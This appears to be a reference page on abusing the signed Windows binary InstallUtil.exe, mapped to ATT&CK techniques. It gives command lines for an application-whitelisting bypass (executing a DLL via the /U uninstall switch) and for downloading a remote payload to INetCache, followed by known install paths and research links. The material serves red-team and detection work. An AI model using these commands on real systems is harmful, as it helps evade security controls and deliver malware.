01 / TRADECRAFT
3 examplesCommand reference
AWL Bypass1
EXAMPLE 01T1218.004
Execute the target .NET DLL or EXE.
COMMAND
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}Execute1
EXAMPLE 01T1218.004
Execute the target .NET DLL or EXE.
COMMAND
InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}Download1
EXAMPLE 01T1105
It will download a remote payload and place it in INetCache.
COMMAND
InstallUtil.exe {REMOTEURL}02 / ON DISK
Known paths
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe03 / DEFENSIVE INTELLIGENCE
4 resourcesDetection & indicators
FURTHER READING
Research & resources
- READapplocker bypass installutilpentestlab.blog
- READAppLocker_Bypass_Techniquesevi1cg.me
- READT1218.004.mdgithub.com
- READpowershell without powershell how to bypass application whitelisting environment restrictions avwww.blackhillsinfosec.com
- READapplocker case study how insecure is it really part 1oddvar.moe
- READinstallutil exe installer tooldocs.microsoft.com
COMMUNITY RESEARCH
Acknowledgements
Casey Smith@subtee
Nir Chako (Pentera)@C_h4ck_0